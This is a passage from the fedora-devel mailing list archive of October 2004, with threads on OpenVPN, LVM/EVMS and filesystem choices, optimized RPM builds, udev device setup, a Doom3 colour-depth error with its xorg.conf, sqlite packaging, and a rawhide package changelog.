the firmware out and just place the driver at fedora.us. > - What kernel version should it target? the latest rawhide, the one in > Core 2, the last in updates... The latest in updates. If you have any further questions just ask me, I packaged some kernel- modules already for fedora.us/livna.org. There is also a tool (fedora- kmodhelper) than *can* be very helpfull with kernel-modules, but it's not a must AFAIK. HTH -- Thorsten Leemhuis From fedora-devel at camperquake.de Tue Oct 5 18:06:01 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 5 Oct 2004 20:06:01 +0200 Subject: Fedora Core, VPNs and IPSec In-Reply-To: References: <20041005180322.18837c47@localhost> <1096997890.4053.13.camel@marte.biciclete.ro> Message-ID: <20041005200601.3beb58c0@nausicaa.camperquake.de> Hi. "Neal D. Becker" wrote: > I use openvpn - it's great. Haven't tried 2.0 yet, because it requires > certificates - and I still haven't figured out how to make them. Huh? Simply passing --secret ought to enable shared secret mode, while passing neither of --secret, --tls-server or --tls-client will give you an unencrypted tunnel, just as in 1.x -- The Feynman Problem Solving Algorithm 1) Write down the problem 2) Think real hard 3) Write down the answer From steve at silug.org Tue Oct 5 19:07:33 2004 From: steve at silug.org (Steven Pritchard) Date: Tue, 5 Oct 2004 14:07:33 -0500 Subject: Fedora Core, VPNs and IPSec In-Reply-To: <1096997890.4053.13.camel@marte.biciclete.ro> References: <20041005180322.18837c47@localhost> <1096997890.4053.13.camel@marte.biciclete.ro> Message-ID: <20041005190732.GA25859@osiris.silug.org> On Tue, Oct 05, 2004 at 08:38:10PM +0300, Marius Andreiana wrote: > OpenVPN works great on FC2 and Windows. The tarball has .spec file > included. Use the 2.0 beta, it's quite stable. Or you could work on QA for my fedora.us submission... :-) https://bugzilla.fedora.us/show_bug.cgi?id=1531 I'd be happy to take a few minutes to update the package if anyone wants to tackle QA. Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From steve at silug.org Tue Oct 5 19:26:15 2004 From: steve at silug.org (Steven Pritchard) Date: Tue, 5 Oct 2004 14:26:15 -0500 Subject: Fedora Core, VPNs and IPSec In-Reply-To: References: <20041005180322.18837c47@localhost> <1096997890.4053.13.camel@marte.biciclete.ro> Message-ID: <20041005192615.GB25859@osiris.silug.org> On Tue, Oct 05, 2004 at 02:00:09PM -0400, Neal D. Becker wrote: > I use openvpn - it's great. Haven't tried 2.0 yet, because it requires > certificates - and I still haven't figured out how to make them. AFAIK, it only requires certificates for the new point-to-multipoint server setup. In any case, setting up the certs is easy. See /usr/share/openvpn/easy-rsa/README. Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From alan at balclutha.org Tue Oct 5 20:04:19 2004 From: alan at balclutha.org (Alan Milligan) Date: Wed, 06 Oct 2004 06:04:19 +1000 Subject: SRPM's and determining spec file Message-ID: <4162FE43.6010403@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Not sure if this is the right place to discuss the behaviour of RPM, but I'm sure somebody can correct me! I have a requirement to determine the spec file from a SRPM so that my rpmbuild can be guaranteed to be passed a valid file. I'd hoped to just find in the BASENAMES, however, it seems to be filtered out when using rpm -q. So then I thought I'd just use the RPM2 perl module. This indeed works, excepting that it fails constantly due to bad signatures etc in packages: error reading package at /usr/lib/perl5/site_perl/5.8.3/i386-linux-thread-multi/RPM2.pm line 85. To my mind (i) rpm -q --qf"%{BASENAMES}" should not filter the .spec file; and (ii) the RPM2 perl module should return as much of the header as it can construct, with undefs etc in bad fields. Even throwing an exception or returning an error code would at least put the decision in user space. I am happy to provide a patch for either if someone would indicate a preference. Cheers, Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBYv5DCfroLk4EZpkRAnyxAKDOUdnARVP5u+lpVI3uF7L98H2iiACfaeP3 WjZHpzRxqlW8pLxS0MtqQW8= =5ltK -----END PGP SIGNATURE----- From fedora at wir-sind-cool.org Tue Oct 5 20:48:54 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 5 Oct 2004 22:48:54 +0200 Subject: SRPM's and determining spec file In-Reply-To: <4162FE43.6010403@balclutha.org> References: <4162FE43.6010403@balclutha.org> Message-ID: <20041005224854.670c5f22.fedora@wir-sind-cool.org> On Wed, 06 Oct 2004 06:04:19 +1000, Alan Milligan wrote: > Not sure if this is the right place to discuss the behaviour of RPM, but > I'm sure somebody can correct me! > > I have a requirement to determine the spec file from a SRPM so that my > rpmbuild can be guaranteed to be passed a valid file. > > I'd hoped to just find in the BASENAMES, however, it seems to be > filtered out when using rpm -q. rpm -qpl package.src.rpm | grep \.spec Or maybe I don't understand your problem. ;) -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 1.02 1.08 1.03 From felipe_alfaro at linuxmail.org Tue Oct 5 20:54:44 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Tue, 5 Oct 2004 22:54:44 +0200 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <1096999015.4161.6.camel@kyrre> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <1096952370.18722.15.camel@localhost.localdomain> <1096985969.2723.4.camel@kyrre> <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> <1096999015.4161.6.camel@kyrre> Message-ID: On Oct 5, 2004, at 19:57, Kyrre Ness Sjobak wrote: > I know this is the official policy, but somebody got some clue when > they > probably arrive, yes? It won't take too long, as we're currently at 2.6.9-rc3. I guess, we'll have a 2.6.9 release very soon (I'd say 1 or 2 weeks at most). From ndbecker2 at verizon.net Tue Oct 5 21:18:39 2004 From: ndbecker2 at verizon.net (Neal Becker) Date: Tue, 05 Oct 2004 17:18:39 -0400 Subject: Fedora Core, VPNs and IPSec References: <20041005180322.18837c47@localhost> <1096997890.4053.13.camel@marte.biciclete.ro> <20041005200601.3beb58c0@nausicaa.camperquake.de> Message-ID: Ralf Ertzinger wrote: > Hi. > > "Neal D. Becker" wrote: > >> I use openvpn - it's great. Haven't tried 2.0 yet, because it requires >> certificates - and I still haven't figured out how to make them. > > Huh? Simply passing --secret ought to enable shared secret mode, > while passing neither of --secret, --tls-server or --tls-client will > give you an unencrypted tunnel, just as in 1.x > http://openvpn.sourceforge.net/20notes.html -> * The server requires TLS mode and will not work with static keys. I don't ... From kewley at cns.caltech.edu Tue Oct 5 21:31:44 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Tue, 5 Oct 2004 14:31:44 -0700 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <20041005170335.GA4513@devserv.devel.redhat.com> References: <200410050938.23033.kewley@cns.caltech.edu> <20041005170335.GA4513@devserv.devel.redhat.com> Message-ID: <200410051431.44977.kewley@cns.caltech.edu> Alan Cox wrote on Tuesday 05 October 2004 10:03: > On Tue, Oct 05, 2004 at 01:01:49PM -0400, Neal D. Becker wrote: > > > Is there a good reason to use LVM or LVM2 rather than EVMS? Is > > > there a reason EVMS isn't included in FC? > > > > IIRC LVM was accepted by kernel developers over EVMS, which quietly > > accepted this decision. > > Indeed. EVMS kernel space is dead. Linus rejected it for the device > mapper layer. Fedora tracks upstream so EVMS is not in, never having > made upstream. Interesting, I didn't know that, but it makes sense given what I've seen in the various projects. > EVMS userspace as I understand it is still being developed but using > the device mapper. Right. Best I can tell, there are no 2.6.8.1 kernel patches required by EVMS for the great majority of functionality. Most of the useful functionality is provided in userspace, building on DM as shipped in the stock kernel. There are a couple of optional 2.6.8.1 kernel patches you can apply to get extra EVMS functionalilty. To get EVMS bad block relocation, you need to apply a patchset from the DM project's "unstable" patch collection, plus a DM patch shipped with EVMS. To have EVMS manage some partitions on a disk, while allowing the normal kernel mechanisms to manage other partitions on that disk, you have to apply an EVMS-supplied patch that backs out the bd-claim-whole-disk patch that was applied (I think) in kernel 2.6.0-test4. Most people probably either don't want this functionality (keep your kernel-managed system disks separate from your data-dump disks), or can work around it without applying the back-out patch. David From kewley at cns.caltech.edu Tue Oct 5 21:34:13 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Tue, 5 Oct 2004 14:34:13 -0700 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <1096997853.17462.30.camel@vigor12> References: <200410050938.23033.kewley@cns.caltech.edu> <1096997853.17462.30.camel@vigor12> Message-ID: <200410051434.13493.kewley@cns.caltech.edu> John Hearns wrote on Tuesday 05 October 2004 10:37: > On Tue, 2004-10-05 at 17:38, David Kewley wrote: > > I'm looking at building several multi-TB arrays in an academic > > research environment. So far I've been heading toward FC3 (or > > possibly RHEL4 when it's released), EVMS, and XFS. > > Having provided RAID arrays for scientific researchers, > I'd say run with LVM/LVM2, I have used it an I'm happy. Thanks for the datapoint, John! Have you been running with LVM2 in production? What kernel, both version and supplier? How big is your biggest volume? What filesystem(s) on LVM(2)? Any significant gotchas? Thanks, David From kewley at cns.caltech.edu Tue Oct 5 21:34:55 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Tue, 5 Oct 2004 14:34:55 -0700 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <200410050938.23033.kewley@cns.caltech.edu> References: <200410050938.23033.kewley@cns.caltech.edu> Message-ID: <200410051434.55864.kewley@cns.caltech.edu> David Kewley wrote on Tuesday 05 October 2004 09:38: > On to filesystems. I saw some commentary by Arjan on the RHEL4 beta > list http://www.redhat.com/mailman/listinfo/nahant-beta-list > suggesting that there is no good, known reason to use XFS in RHEL4 > (and presumably FC3?), because ext3 has been patched to provide > significantly better performance, and online resize of ext3 is being > actively worked on. Indeed those are the two obvious issues that I > care about, so I'm considering going with ext3 rather than XFS. > > Can anyone think of a reason to use XFS over ext3, even with the > improvements that Arjan mentioned? Maybe XFS scales better still, or > provides a significant advantage in filesystem size on 64-bit > architectures, compared to ext3? Any feedback on the above? :) Thanks much, David From john.hearns at clustervision.com Tue Oct 5 21:56:31 2004 From: john.hearns at clustervision.com (John Hearns) Date: Tue, 05 Oct 2004 22:56:31 +0100 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <200410051434.13493.kewley@cns.caltech.edu> References: <200410050938.23033.kewley@cns.caltech.edu> <1096997853.17462.30.camel@vigor12> <200410051434.13493.kewley@cns.caltech.edu> Message-ID: <1097013391.17462.39.camel@vigor12> On Tue, 2004-10-05 at 22:34, David Kewley wrote: > > Having provided RAID arrays for scientific researchers, > > I'd say run with LVM/LVM2, I have used it an I'm happy. > > Thanks for the datapoint, John! Have you been running with LVM2 in > production? What kernel, both version and supplier? How big is your > biggest volume? What filesystem(s) on LVM(2)? Any significant > gotchas? Truth be told, LVM2 only on one installation. That is running SuSE 9.1 on Opteron, on an Infortrend 4Tbyte array. ext3 filesystem. Though having worked in the past for an animation company I wouldn't dismiss xfs. From liblit at cs.berkeley.edu Tue Oct 5 23:24:00 2004 From: liblit at cs.berkeley.edu (Ben Liblit) Date: Tue, 05 Oct 2004 16:24:00 -0700 Subject: Cooperative Bug Isolation project on Fedora Core 2 & 1 Message-ID: <41632D10.2090603@cs.berkeley.edu> The Cooperative Bug Isolation Project is a joint effort by UC Berkeley and Stanford to bring debugging into the Internet age. Instrumented applications send feedback to our analysis center, where we use statistical debugging techniques to learn what goes wrong when the software crashes. The project is please to announce that the following instrumented applications are available for Fedora Core 2: - Evolution 1.4.6 - Gaim 1.0.0 - The GIMP 2.0.5 - Nautilus 2.6.0 - Rhythmbox 0.8.7 (includes iPod & Dashboard support!) - SPIM 7.0 What we need most of all are more runs from real users like you! Even if you've never written a line of code in your life, you can help make things better for everyone simply by using our special bug-hunting packages. Read more, download some packages, and join in! Fedora Core 1 users can help too: see the downloads page for comparable versions of all of the above applications for FC1. project info: downloads: From pbruna at linuxcenterla.com Wed Oct 6 04:19:47 2004 From: pbruna at linuxcenterla.com (Patricio Bruna) Date: Wed, 06 Oct 2004 00:19:47 -0400 Subject: Optimized RPMS Message-ID: <1097036387.3287.1.camel@pbruna> Im thinking in rebuild my owns RPM optmized for P4, fedora core really goes slow. are any predefined step, some automatic tool for do this? thx -- Patricio Bruna Villarroel Red Hat Certified Engineer Ingeniero Soporte Linux Center S.A. Fono: 2745000 Canada 239, Providencia Santiago From wtogami at redhat.com Wed Oct 6 04:59:05 2004 From: wtogami at redhat.com (Warren Togami) Date: Tue, 05 Oct 2004 18:59:05 -1000 Subject: Optimized RPMS In-Reply-To: <1097036387.3287.1.camel@pbruna> References: <1097036387.3287.1.camel@pbruna> Message-ID: <41637B99.3050805@redhat.com> Patricio Bruna wrote: > Im thinking in rebuild my owns RPM optmized for P4, fedora core really > goes slow. are any predefined step, some automatic tool for do this? > > thx Don't bother. You will have almost zero benefit do to today's greatly improved compilers and -mtune=pentium4 default on all FC3 packages. You will waste far more timing in rebuilding packages than you would possibly gain. http://www.funroll-loops.org/ Refer to this site for similar sentiments. Warren Togami wtogami at redhat.com From feliciano.matias at free.fr Wed Oct 6 05:17:53 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 06 Oct 2004 07:17:53 +0200 Subject: Optimized RPMS In-Reply-To: <1097036387.3287.1.camel@pbruna> References: <1097036387.3287.1.camel@pbruna> Message-ID: <1097039874.4011.27.camel@localhost.localdomain> Le mercredi 06 octobre 2004 ? 00:19 -0400, Patricio Bruna a ?crit : > Im thinking in rebuild my owns RPM optmized for P4, fedora core really > goes slow. I'll not be surprised if fedora core will continue to go "really slow" even if you rebuild all packages. The current setting (from /usr/lib/rpm/redhat/rpmrc) : i386 => -O2 -g -pipe -m32 -march=i386 -mtune=pentium4 i686 => -O2 -g -pipe -m32 -march=i686 -mtune=pentium4 Default is set to i386 but some packages are also compiled with i686 flags : # rpm -q --queryformat "%{ARCH} %{NAME}\n" -a | grep ^i686 i686 glibc i686 nptl-devel i686 openssl i686 kernel > are any predefined step, some automatic tool for do this? > > thx > > > > > -- > Patricio Bruna Villarroel > Red Hat Certified Engineer > Ingeniero Soporte > Linux Center S.A. > Fono: 2745000 > Canada 239, Providencia > Santiago > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From harald at redhat.com Wed Oct 6 07:30:39 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 06 Oct 2004 09:30:39 +0200 Subject: udev on Fedora In-Reply-To: <1096994294.3275.15.camel@localhost.localdomain> References: <4159581E.50605@redhat.com> <1096994294.3275.15.camel@localhost.localdomain> Message-ID: <41639F1F.2070008@redhat.com> Ray Strode wrote: > Hi, > >>If you have questions or problems with udev on Fedora, please have a >>look at: >>http://people.redhat.com/~harald/udev.html >>If not answered by this, send your questions to me, and I will extend >>this page. > > Do you think this should be put on the Fedora WIKI? > Yes, maybe, then others can extend it... From mandreiana at rdslink.ro Wed Oct 6 09:44:19 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Wed, 06 Oct 2004 12:44:19 +0300 Subject: Cooperative Bug Isolation project on Fedora Core 2 & 1 In-Reply-To: <41638AAC.6080804@cs.berkeley.edu> References: <41632D0E.2070101@cs.berkeley.edu> <1097040875.4212.10.camel@marte.biciclete.ro> <41638AAC.6080804@cs.berkeley.edu> Message-ID: <1097055860.9175.24.camel@marte.biciclete.ro> On Tue, 2004-10-05 at 23:03 -0700, Ben Liblit wrote: > Marius Andreiana asked: > > Is it possible to get debugging packages for software in FC3t2? > > Unfortunately, we're not planning to post FC3t2 packages right now. > That is due in part to limited manpower and in part to our need for a > large user base. > > To clarify that second requirement, we don't look at individual > failures. Rather, we hunt for bugs by mining statistical *trends* out > of large numbers of runs. I'm not convinced that there are enough FC3t2 > users to produce the kind of numbers we would need. I do understand > that this is where the most unstable code lives, but it's not where the > most users live, and our techniques really depend on having lots of users. > > Now, if the Fedora engineering team wanted make this part of the > standard Fedora build process, so that *every* test release user would > be getting our instrumented code, that would be a whole other story.... is this possible? at least for a some desktop packages. (this is posted to fedora-devel) -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From Frank at lists.sytes.net Wed Oct 6 11:18:18 2004 From: Frank at lists.sytes.net (Frank) Date: Wed, 06 Oct 2004 13:18:18 +0200 Subject: Doom3 for Devel ? Message-ID: <20041006111822.CB5847546B@mail.figaro.fr> Hallo, i have upgraded my Fedora 2 via 'yum' to rawhide. I begun with it 3 Weeks before. Since, i do this every Day. So the latest Updates are on my System installed. The System works like a Champ AND can play nice Quake3 with my GeForce FX 5700 with it with the latest Nvidia Drivers and Kernel 2.6 So i installed Doom3, the official Linux Port from id -> iam very scared because please have a look at the Output: ----- R_InitOpenGL ----- dlopen(libGL.so.1) Open X display Initializing OpenGL display Using XFree86-VidModeExtension Version 2.2 DGA DirectVideo Mouse (Version 2.0) initialized Free86-VidModeExtension Activated at 1024x768 Couldn't get a visual dlopen(libGL.so.1) Initializing OpenGL display Using XFree86-VidModeExtension Version 2.2 DGA DirectVideo Mouse (Version 2.0) initialized Free86-VidModeExtension Activated at 640x480 Couldn't get a visual idRenderSystem::Shutdown() Fatal X Error: Major opcode of failed request: 105 Minor opcode of failed request: 0 Serial number of failed request: 38 BadValue (integer parameter out of range for operation) Fatal X Error: Major opcode of failed request: 2 Minor opcode of failed request: 0 Serial number of failed request: 42 BadWindow (invalid Window parameter) Fatal X Error: Major opcode of failed request: 4 Minor opcode of failed request: 0 Serial number of failed request: 43 BadWindow (invalid Window parameter) Sys_Error: Unable to initialize OpenGL a manual /sbin/start_udev doesnt resolve the Problem. And Google couldnt help me out further or the Helps from http://people.redhat.com/~harald/udev.html i does it all: # mkdir /tmp/dev # mount --move /dev /tmp/dev # /sbin/MAKEDEV null console zero # mount --move /tmp/dev /dev # cp -a /dev/nvidia* /etc/udev/devices # chown root.root /etc/udev/devices/nvidia* besides, the last thing succeded for the Nvidia driver Problem. Before i must the recompile after every Reboot. But my Alsa Drivers, doenst comes up automatically until i do a /sbin/start_udev manually. Back to doom3 I suspect, like RvB said, this is a X Error. But he dont know exactly how about to solve it. He doenst have my Hardware, like he said Anybody Expert here --- please ? As a Attachement you can propose my xorg.conf. Hope this helps a lot. Greetings Frank -------------- next part -------------- # Xorg configuration created by system-config-display Section "ServerLayout" Identifier "single head configuration" Screen 0 "Screen0" 0 0 InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection Section "Files" # RgbPath is the location of the RGB database. Note, this is the name of the # file minus the extension (like ".txt" or ".db"). There is normally # no need to change the default. # Multiple FontPath entries are allowed (they are concatenated together) # By default, Red Hat 6.0 and later now use a font server independent of # the X server to render fonts. RgbPath "/usr/X11R6/lib/X11/rgb" FontPath "unix/:7100" EndSection #Section "Module" #Load "glx" #Load "extmod" #SubSection "extmod" #Option "omit xfree86-dga" #EndSubSection #Load "dbe" #Load "freetype" #Load "type1" #Load "ddc" #EndSection Section "Module" Load "glx" Load "extmod" Load "dbe" Load "freetype" Load "type1" Load "ddc" EndSection Section "InputDevice" # Specify which keyboard LEDs can be user-controlled (eg, with xset(1)) # Option "Xleds" "1 2 3" # To disable the XKEYBOARD extension, uncomment XkbDisable. # Option "XkbDisable" # To customise the XKB settings to suit your keyboard, modify the # lines below (which are the defaults). For example, for a non-U.S. # keyboard, you will probably want to use: # Option "XkbModel" "pc102" # If you have a US Microsoft Natural keyboard, you can use: # Option "XkbModel" "microsoft" # # Then to change the language, change the Layout setting. # For example, a german layout can be obtained with: # Option "XkbLayout" "de" # or: # Option "XkbLayout" "de" # Option "XkbVariant" "nodeadkeys" # # If you'd like to switch the positions of your capslock and # control keys, use: # Option "XkbOptions" "ctrl:swapcaps" # Or if you just want both to be control, use: # Option "XkbOptions" "ctrl:nocaps" # Identifier "Keyboard0" Driver "kbd" Option "XkbModel" "pc105" Option "XkbLayout" "de" Option "XkbVariant" "nodeadkeys" EndSection Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "yes" EndSection Section "Monitor" Identifier "Monitor0" VendorName "Monitor Vendor" ModelName "Iiyama A901HT, VisionMaster Pro 450" DisplaySize 320 240 HorizSync 27.0 - 115.0 VertRefresh 50.0 - 160.0 Option "dpms" EndSection Section "Device" Identifier "Videocard0" Driver "nvidia" VendorName "Videocard vendor" BoardName "NVIDIA GeForce FX (generic)" VideoRam 262144 Option "NvAgp" "1" Option "RenderAccel" "True" Option "NoBandWidthTest" "1" Option "NoLogo" "True" EndSection Section "Screen" Identifier "Screen0" Device "Videocard0" Monitor "Monitor0" DefaultDepth 16 SubSection "Display" Viewport 0 0 Depth 16 Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480" EndSubSection EndSection Section "DRI" Group 0 Mode 0666 EndSection Section "Extensions" #Option "Composite" "Enable" Option "RENDER" "Enable" EndSection From adrian at lisas.de Wed Oct 6 11:24:56 2004 From: adrian at lisas.de (Adrian Reber) Date: Wed, 6 Oct 2004 13:24:56 +0200 Subject: Doom3 for Devel ? In-Reply-To: <20041006111822.CB5847546B@mail.figaro.fr> References: <20041006111822.CB5847546B@mail.figaro.fr> Message-ID: <20041006112456.GA30426@lisas.de> On Wed, Oct 06, 2004 at 01:18:18PM +0200, Frank wrote: > So i installed Doom3, the official Linux Port from id -> iam very scared > because please have a look at the Output: > > Section "Screen" > Identifier "Screen0" > Device "Videocard0" > Monitor "Monitor0" > DefaultDepth 16 > SubSection "Display" > Viewport 0 0 > Depth 16 > Modes "1280x1024" "1280x960" "1152x864" "1024x768" "800x600" "640x480" > EndSubSection > EndSection doom3 needs 24 bit not 16 it's documented at http://zerowing.idsoftware.com/linux/doom/ Adrian From ndbecker2 at verizon.net Wed Oct 6 11:58:28 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Wed, 06 Oct 2004 07:58:28 -0400 Subject: sqlite? Message-ID: Hardly might seem that we need yet another database, but it looks like sqlite is rapidly becoming very popular. Being 'lite', it really serves a different need than others. I think it would be a good addition to fedora. From rdieter at math.unl.edu Wed Oct 6 12:15:49 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 06 Oct 2004 07:15:49 -0500 Subject: sqlite? In-Reply-To: References: Message-ID: <4163E1F5.4010806@math.unl.edu> Neal D. Becker wrote: > Hardly might seem that we need yet another database, but it looks like > sqlite is rapidly becoming very popular. Being 'lite', it really serves a > different need than others. I think it would be a good addition to fedora. -> Fedora Extras -- Rex From Frank at lists.sytes.net Wed Oct 6 12:16:29 2004 From: Frank at lists.sytes.net (Frank) Date: Wed, 06 Oct 2004 14:16:29 +0200 Subject: Doom3 for Devel ? In-Reply-To: <20041006112456.GA30426@lisas.de> References: <20041006111822.CB5847546B@mail.figaro.fr> <20041006112456.GA30426@lisas.de> Message-ID: <20041006121633.4537C7546B@mail.figaro.fr> Hallo, > doom3 needs 24 bit not 16 > > it's documented at http://zerowing.idsoftware.com/linux/doom/ it is, perfectly right. But how about to reverse from this Fault Messages i got to the 16/24 bit Thing. Sure, i know this is not a fedora related Problem. And nomore a one of myself. But i hope this Clarification helps out many many other Peoples too, because google shows up this Posting in the Future now :) Anyway, much much Thanks to you !!! enjoying doom3 now Frank From fs111 at web.de Wed Oct 6 12:30:09 2004 From: fs111 at web.de (=?ISO-8859-1?Q?Andr=E9?= Kelpe) Date: Wed, 06 Oct 2004 14:30:09 +0200 Subject: sqlite? In-Reply-To: <4163E1F5.4010806@math.unl.edu> References: <4163E1F5.4010806@math.unl.edu> Message-ID: <1097065809.1615.6.camel@localhost> Am Mi, den 06.10.2004 schrieb Rex Dieter um 14:15: [sqlite] > -> Fedora Extras Why that? AFAIK it is integrated into php5, so if fedora switches to php5, there is a need for sqlite. BTW: sqlite is great! > -- Rex Andr? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From buildsys at redhat.com Wed Oct 6 12:33:10 2004 From: buildsys at redhat.com (Build System) Date: Wed, 6 Oct 2004 08:33:10 -0400 Subject: rawhide report: 20041006 changes Message-ID: <200410061233.i96CXAw17431@porkchop.devel.redhat.com> Updated Packages: a2ps-4.13b-41 ------------- * Tue Oct 05 2004 Tim Waugh 4.13b-41 - Build requires texinfo (bug #134663). anaconda-10.0.3.15-1 -------------------- * Tue Oct 05 2004 Jeremy Katz - 10.0.3.15-1 - Fix creation of scsi device nodes (#134709) - Fix multiple kickstart scriptlets with different interpreters (#134707) at-3.1.8-60 ----------- * Tue Oct 05 2004 Jason Vas Dias 3.1.8-60 - fix bug 131510: no_export env. var. blacklisting should not - remove 'SHELL' when only 'SHELLOPTS' is blacklisted. - at(1) man-page should not say 'commands are run with /bin/sh' - and should explain usage of SHELL environement variable and - details of blacklisted variables. * Tue Sep 28 2004 Rik van Riel 3.1.8-58 - fix typo in man page, bug 112303 - (regenerated at-3.1.8-man-timespec-path.patch with fix) * Tue Aug 03 2004 Jason Vas Dias - fixed bug 125634 - made usage() agree with manpage coreutils-5.2.1-31 ------------------ * Tue Oct 05 2004 Tim Waugh 5.2.1-31 - getgrouplist() patch from Ulrich Drepper. - The selinux patch should be applied last. cscope-15.5-3 ------------- * Tue Oct 05 2004 Neil Horman - modified cscope-15.5.-inverted patch to be upstream friendly * Tue Sep 28 2004 Neil Horman - fixed inverted index bug (bz 133942) cups-1.1.21-7 ------------- * Tue Oct 05 2004 Tim Waugh 1:1.1.21-7 - Set LogFilePerm 0600 in default config file. * Tue Oct 05 2004 Tim Waugh 1:1.1.21-6 - Apply patch to fix CAN-2004-0923 (bug #134601). cyrus-imapd-2.2.6-2.FC3.6 ------------------------- * Mon Oct 04 2004 Dan Walsh 2.2.6-2.FC3.6 - Change cyrus init scripts and cron job to use runuser instead of su file-roller-2.8.1-1 ------------------- * Tue Oct 05 2004 Christopher Aillon 2.8.1-1 - Update to 2.8.1 findutils-4.1.20-5 ------------------ * Tue Oct 05 2004 Tim Waugh 1:4.1.20-5 - Build requires gettext-devel, texinfo (bug #134692). firefox-0.10.1-1.0PR1.8 ----------------------- * Fri Oct 01 2004 Christopher Aillon 0:0.10.1-1.0PR1.8 - Update to 0.10.1 - Fix tab switching keybindings (#133504) firstboot-1.3.28-2 ------------------ * Tue Oct 05 2004 Adrian Likins - 1.3.28-1 - text changes for #129885 - get rid of some deprecation warnings gnome-vfs2-2.8.1-7 ------------------ * Tue Oct 05 2004 Alexander Larsson - 2.8.1-7 - update cvs backport with ssl http fix * Tue Oct 05 2004 Alexander Larsson - 2.8.1-6 - Add cvs-backport patch with various fixed from HEAD, including a partial fix for #134627 - Removed the patches that are in the cvs-backport patch. gstreamer-0.8.6-1 ----------------- * Tue Oct 05 2004 Alexander Larsson - 0.8.6-1 - update to 0.8.6 - Put the real lib .so symlinks in the -devel package - Don't put .so plugins in the -devel package - Correct docbook dtd version reference * Tue Sep 28 2004 Colin Walters 0.8.5-2 - Move .so symlinks to -devel package * Mon Aug 16 2004 Colin Walters 0.8.5-1 - Update to 0.8.5 initscripts-7.87-1 ------------------ * Tue Oct 05 2004 Dan Walsh - 7.87-1 - Change SELinux relabel to not remount / * Mon Oct 04 2004 Bill Nottingham - use runuser instead of su; require it - init.d/halt: use right file name for random seed (#134432) inn-2.3.5-11.1 -------------- * Tue Oct 05 2004 Thomas Woerner 2.3.5-11.1 - using runuser instead of su in cronjobs isdn4k-utils-3.2-18.p1.1 ------------------------ * Tue Oct 05 2004 Than Ngo 3.2-18.p1.1 - add workaround for #134525 joe-3.1-6 --------- * Tue Oct 05 2004 Lon Hohberger 3.1-6 - Pass 2 at fixing UTF-8 decoding in help display (#134197) knm_new-1.1-16 -------------- * Wed Oct 06 2004 Akira TAGOH - 1.1-16 - added BuildRequires: xorg-x11-font-utils (Maxim Dzumanenko, #134665) libtheora-1.0alpha3-5 --------------------- * Tue Oct 05 2004 Colin Walters - 1.0alpha3-5 - Add BuildRequires on libvorbis-devel (134664) mysql-3.23.58-11 ---------------- * Tue Oct 05 2004 Tom Lane 3.23.58-11 - fix low-priority security issues CAN-2004-0388, CAN-2004-0381, CAN-2004-0457 (bugs #119442, 125991, 130347, 130348) - fix bug with dropping databases under recent kernels (bug #124352) * Tue Jun 15 2004 Elliot Lee 3.23.58-10 - rebuilt * Sat Apr 17 2004 Warren Togami 3.23.58-9 - remove redundant INSTALL-SOURCE, manual.* - compress manual.txt.bz2 - BR time ncompress-4.2.4-40 ------------------ * Tue Oct 05 2004 Than Ngo 4.2.4-40 - permit files > 2GB to be compressed (#126775). nut-2.0.0-5 ----------- * Tue Oct 05 2004 Than Ngo 2.0.0-5 - more buildrequires - don't build on s390/s390x openjade-1.3.2-14 ----------------- * Tue Oct 05 2004 Tim Waugh 1.3.2-14 - Build requires gettext-devel (bug #134672). openoffice.org-1.1.2-8 ---------------------- * Tue Oct 05 2004 Dan Williams - 1.1.2-8 - Add a BuildRequires for compat-gcc-c++ too - Figure out that you need to have openoffice.org-kde package installed to fix #133741 Should fix: 134505 (OOo commits preedit strings before the actual commit) openssl-0.9.7a-40 ----------------- * Tue Oct 05 2004 Phil Knirsch 0.9.7a-40 - Include latest libica version with important bugfixes * Tue Jun 15 2004 Elliot Lee - rebuilt * Mon Jun 14 2004 Phil Knirsch 0.9.7a-38 - Updated ICA engine IBM patch to latest upstream version. postgresql-7.4.5-3 ------------------ * Tue Oct 05 2004 Tom Lane 7.4.5-3 - Solve the stale lockfile problem (bugs 71295, 96981, 134090) - Use runuser instead of su for SELinux (bug 134588) * Mon Aug 30 